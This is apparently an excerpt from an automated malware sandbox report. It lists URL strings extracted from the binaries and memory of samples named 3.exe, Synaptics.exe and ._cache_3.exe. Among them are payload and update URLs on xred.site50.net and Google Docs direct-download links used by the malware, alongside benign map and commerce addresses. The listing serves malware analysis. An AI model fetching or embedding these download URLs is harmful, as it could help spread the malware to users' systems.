Source: ._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.zto.com/
Source: ._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://xianggangcs.oss-accelerate.aliyuncs.com/
Source: ._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://xiaoman.cn/
Source: ._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://xinancs.oss-accelerate.aliyuncs.com/
Source: ._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://xinics.oss-accelerate.aliyuncs.com/
Source: ._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://xinjiapocs.oss-accelerate.aliyuncs.com/
Source: 3.exe, 00000000.00000003.1315804134.00000000035D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xred.site50.net/syn/SSLLibrary.dl
Source: 3.exe, 00000000.00000000.1253675278.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, 0000000C.00000003.1399289414.000000000053E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1518200362.0000000007585000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1846828053.0000000002130000.00000004.00001000.00020000.00000000.sdmp, 380BjggdZ.exe.17.dr, ~$cache1.12.dr	String found in binary or memory: http://xred.site50.net/syn/SSLLibrary.dll
Source: 3.exe, 00000000.00000000.1253675278.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, 0000000C.00000003.1399289414.000000000053E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1518200362.0000000007585000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1846828053.0000000002130000.00000004.00001000.00020000.00000000.sdmp, 380BjggdZ.exe.17.dr, ~$cache1.12.dr	String found in binary or memory: http://xred.site50.net/syn/SUpdate.ini
Source: 3.exe, 00000000.00000003.1315804134.00000000035D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xred.site50.net/syn/SUpdate.ini0
Source: 3.exe, 00000000.00000000.1253675278.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, 0000000C.00000003.1399289414.000000000053E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1518200362.0000000007585000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1846828053.0000000002130000.00000004.00001000.00020000.00000000.sdmp, 380BjggdZ.exe.17.dr, ~$cache1.12.dr	String found in binary or memory: http://xred.site50.net/syn/Synaptics.rar
Source: 3.exe, 00000000.00000003.1315804134.00000000035D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xred.site50.net/syn/Synaptics.rard
Source: ._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://youdao.com/
Source: ._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://zhangjiakoucs.oss-accelerate.aliyuncs.com/
Source: ._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://zhangjiakoucs.oss-accelerate.aliyuncs.com/http://wulancabucs.oss-accelerate.aliyuncs.com/http
Source: svchost.exe, 00000002.00000002.1397917213.00000220A3857000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://appexmapsappupdate.blob.core.windows.net
Source: svchost.exe, 00000002.00000002.1397917213.00000220A3857000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/V1/MapControlConfiguration/native/
Source: svchost.exe, 00000002.00000002.1397917213.00000220A3857000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1386466363.00000220A386E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1397772793.00000220A3841000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1390903552.00000220A3866000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1390378731.00000220A3862000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1391161810.00000220A3873000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1398117333.00000220A3863000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1390757686.00000220A3871000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Imagery/Copyright/
Source: svchost.exe, 00000002.00000003.1386466363.00000220A386E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1391161810.00000220A3873000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1398621007.00000220A3874000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1390757686.00000220A3871000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/JsonFilter/VenueMaps/data/
Source: svchost.exe, 00000002.00000002.1397917213.00000220A3857000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Locations
Source: svchost.exe, 00000002.00000003.1389833011.00000220A3867000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Routes/
Source: svchost.exe, 00000002.00000002.1398814847.00000220A3877000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1385047935.00000220A3875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Transit/Stops/
Source: svchost.exe, 00000002.00000002.1397917213.00000220A3857000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/mapcontrol/logging.ashx
Source: svchost.exe, 00000002.00000002.1397917213.00000220A3857000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1390903552.00000220A3866000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1390378731.00000220A3862000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1397554660.00000220A3825000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Imagery/Copyright/
Source: svchost.exe, 00000002.00000002.1397917213.00000220A3857000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Locations
Source: svchost.exe, 00000002.00000002.1398265724.00000220A3868000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1389833011.00000220A3867000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1397554660.00000220A3825000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/
Source: svchost.exe, 00000002.00000002.1397917213.00000220A3857000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Driving
Source: svchost.exe, 00000002.00000002.1397917213.00000220A3857000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Transit
Source: svchost.exe, 00000002.00000002.1397917213.00000220A3857000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Walking
Source: svchost.exe, 00000002.00000003.1390903552.00000220A3866000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1390378731.00000220A3862000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1397554660.00000220A3825000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Traffic/Incidents/
Source: svchost.exe, 00000002.00000002.1397772793.00000220A3841000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Transit/Schedules/
Source: svchost.exe, 00000002.00000002.1397917213.00000220A3857000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/mapcontrol/logging.ashx
Source: svchost.exe, 00000002.00000003.1390378731.00000220A3862000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1398117333.00000220A3863000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?
Source: Synaptics.exe, 0000000C.00000003.1519925771.00000000005C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1925524560.000000000F8EB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1824235333.0000000000574000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1886245556.00000000075CD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1461731281.000000000056C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/
Source: Synaptics.exe, 0000000C.00000003.1519925771.00000000005C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1886245556.00000000075CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/8
Source: Synaptics.exe, 0000000C.00000002.1900953740.000000000C0FE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1932759856.0000000011C3E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1892533175.00000000088BE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1948819398.000000001457E000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0;
Source: 3.exe, 00000000.00000003.1315804134.00000000035D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=downlo
Source: 3.exe, 00000000.00000000.1253675278.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, 0000000C.00000003.1399289414.000000000053E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1518200362.0000000007585000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1846828053.0000000002130000.00000004.00001000.00020000.00000000.sdmp, 380BjggdZ.exe.17.dr, ~$cache1.12.dr	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download
Source: 3.exe, 00000000.00000003.1315804134.00000000035D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downlo
Source: Synaptics.exe, 0000000C.00000002.1824235333.000000000055F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1916196294.000000000E18E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1893409608.000000000903E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1914860760.000000000D8CE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1869556224.0000000005EEE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1934503860.00000000129FE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1951879949.000000001533E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1878876047.00000000062AE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1824235333.00000000005D0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1900323344.000000000BABE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1899507898.000000000B33E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1899917699.000000000B6FE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1934068585.000000001263E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1915764818.000000000DDCE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1901332205.000000000C4BE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1931393708.000000001128E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1954118334.00000000160FE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1876574319.000000000616E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1931104865.000000001100E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1948306680.000000001407E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1951484199.00000000150BE000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A98000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1919432975.000000000F71A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1925524560.000000000F925000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download#
Source: Synaptics.exe, 0000000C.00000002.1925524560.000000000F8EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download#i
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download#lj
Source: Synaptics.exe, 0000000C.00000002.1923493272.000000000F85F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download$
Source: Synaptics.exe, 0000000C.00000002.1886245556.00000000074B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download$$
Source: Synaptics.exe, 0000000C.00000003.1519925771.00000000005C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1824235333.00000000005C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download$;=
Source: Synaptics.exe, 0000000C.00000002.1824235333.000000000055F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1461731281.000000000056C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download$U
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A20000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1456948763.0000000005ABB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1919432975.000000000F71A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1860098892.0000000005AC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download%
Source: Synaptics.exe, 0000000C.00000002.1824235333.000000000055F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1460648863.0000000007413000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1919432975.000000000F71A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1519925771.00000000005AD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1884531817.0000000007418000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1824235333.00000000005B9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1461731281.0000000000592000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download&
Source: Synaptics.exe, 0000000C.00000002.1925524560.000000000F8EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download&k
Source: Synaptics.exe, 0000000C.00000003.1456948763.0000000005ABB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1860098892.0000000005A98000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1860098892.0000000005AC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download(
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A20000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1919432975.000000000F71A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1519925771.00000000005AD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1824235333.00000000005B9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1461731281.0000000000592000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download)
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download)(
Source: Synaptics.exe, 0000000C.00000002.1925524560.000000000F8EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download)k
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1884531817.000000000743A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1461731281.00000000005C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-cn.
Source: Synaptics.exe, 0000000C.00000002.1923493272.000000000F85F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-t
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A20000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1824235333.00000000005A3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1919432975.000000000F71A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1456948763.0000000005B10000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1519925771.00000000005AD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1884531817.0000000007418000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1461731281.0000000000592000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.
Source: Synaptics.exe, 0000000C.00000002.1886245556.00000000074B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download...
Source: Synaptics.exe, 0000000C.00000002.1958949488.0000000018B7E000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.N
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.com
Source: Synaptics.exe, 0000000C.00000002.1925524560.000000000F8EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.h
Source: Synaptics.exe, 0000000C.00000003.1519925771.00000000005C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1824235333.00000000005C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.i
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.trF
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1925524560.000000000F925000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download/
Source: Synaptics.exe, 0000000C.00000002.1886245556.00000000074B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1860098892.0000000005A98000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1860098892.0000000005AE4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1519925771.00000000005AD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1824235333.00000000005B9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1461731281.0000000000592000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download0
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download0.
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download08
Source: Synaptics.exe, 0000000C.00000003.1519925771.00000000005C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1824235333.00000000005C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download0;
Source: Synaptics.exe, 0000000C.00000002.1824235333.000000000055F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1461731281.000000000056C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download0U
Source: Synaptics.exe, 0000000C.00000002.1923493272.000000000F85F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download0t
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download0u
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A20000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download1
Source: Synaptics.exe, 0000000C.00000002.1824235333.000000000055F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download1a
Source: Synaptics.exe, 0000000C.00000002.1925524560.000000000F8EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download1h
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1460648863.0000000007413000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1884531817.0000000007418000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download2
Source: Synaptics.exe, 0000000C.00000002.1886245556.00000000074B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download2$
Source: Synaptics.exe, 0000000C.00000002.1884531817.0000000007400000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download2024
Source: Synaptics.exe, 0000000C.00000003.1456948763.0000000005ABB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1860098892.0000000005A98000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1925524560.000000000F925000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1860098892.0000000005AC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download3
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download38Z
Source: Synaptics.exe, 0000000C.00000002.1923493272.000000000F85F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download3lss
Source: Synaptics.exe, 0000000C.00000002.1886245556.00000000074B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download3lssw
